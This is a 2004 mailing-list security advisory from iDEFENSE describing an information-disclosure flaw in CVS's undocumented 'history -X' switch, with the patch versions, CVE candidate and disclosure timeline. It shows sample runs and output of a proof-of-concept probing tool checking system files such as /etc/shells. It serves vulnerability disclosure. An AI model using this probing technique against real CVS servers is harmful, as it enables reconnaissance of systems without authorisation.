[Full-Disclosure] iDEFENSE Security Advisory 08.16.04: CVS Undocumented Flag Information Disclosure Vulnerability

idlabs-advisories_at_idefense.com
Date: 08/16/04

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Date: Mon, 16 Aug 2004 11:53:02 -0400

    CVS Undocumented Flag Information Disclosure Vulnerability

    iDEFENSE Security Advisory 08.16.04
    www.idefense.com/application/poi/display?id=130&type=vulnerabilities
    August 16, 2004

    I. BACKGROUND

    CVS (Concurrent Versions System) is an open-source network-transparent
    version control system.

    II. DESCRIPTION

    Remote exploitation of an information disclosure vulnerability in
    Concurrent Versions Systems (CVS) allows attackers to glean information.
    The vulnerability exists within an undocumented switch to the 'history'
    command implemented in src/history.c. The -X command specifies the name
    of the history file allowing an attacker to determine whether arbitrary
    system files and directories exist and whether or not the CVS process
    has access to them. The following output from iDEFENSE's proof of
    concept code demonstrates the impact of this vulnerability:

    The file /etc/shells exists and is readable by the CVS daemon:

        $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /etc/shells
        Connected to server.
        E cvs server: warning: history line 1 invalid
        E cvs server: warning: history line 2 invalid
        ...
        E cvs server: warning: history line 7 invalid
        M No records selected.
        ok

    The file /usr/bin/password exists and is not readable by the CVS daemon:

        $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /usr/bin/passwd
        Connected to server.
        E cvs [server aborted]: cannot open history file: /usr/bin/passwd:
        Permission denied
        error

    The file /etc/foo does not exist.

        $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /etc/foo \
            Connected to server.
        E cvs [server aborted]: cannot open history file: /etc/foo: No \
            such file or directory
        error

    /tmp is a directory.

        $ ./cvsfiler 172.16.60.200 2401 cvs cvspass /var/cvs /tmp
        Connected to server.
        E cvs [server aborted]: error reading history file: Is a directory
        error

    III. ANALYSIS

    Successful exploitation allows remote attackers with credentials to the
    affected CVS server to determine whether or not arbitrary system files
    and directories exist and are accessible under the permissions of the
    user that the CVS daemon runs under.

    IV. DETECTION

    iDEFENSE has confirmed the existence of this vulnerability in CVS
    version 1.11. Earlier versions are suspected as being vulnerable as
    well.

    V. VENDOR RESPONSE

    This issue was patched in the latest (June 9th) releases of CVS,
    specifically 1.11.17 & 1.12.9.

    VI. CVE INFORMATION

    The Common Vulnerabilities and Exposures (CVE) project has assigned the
    name CAN-2004-0778 to this issue. This is a candidate for inclusion in
    the CVE list (http://cve.mitre.org), which standardizes names for
    security problems.

    VII. DISCLOSURE TIMELINE

    07/22/2004 Initial vendor notification
    07/22/2004 iDEFENSE clients notified
    08/05/2004 Initial vendor response
    08/16/2004 Public Disclosure

    VIII. CREDIT

    An anonymous contributor is credited with discovering this
    vulnerability.

    Get paid for vulnerability research
    http://www.idefense.com/poi/teams/vcp.jsp

    VI. LEGAL NOTICES

    Copyright (c) 2004 iDEFENSE, Inc.

    Permission is granted for the redistribution of this alert
    electronically. It may not be edited in any way without the express
    written consent of iDEFENSE. If you wish to reprint the whole or any
    part of this alert in any other medium other than electronically, please
    email customerservice@idefense.com for permission.

    Disclaimer: The information in the advisory is believed to be accurate
    at the time of publishing based on currently available information. Use
    of the information constitutes acceptance for use in an AS IS condition.
    There are no warranties with regard to this information. Neither the
    author nor the publisher accepts any liability for any direct, indirect,
    or consequential loss or damage arising from use of, or reliance on,
    this information.

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html

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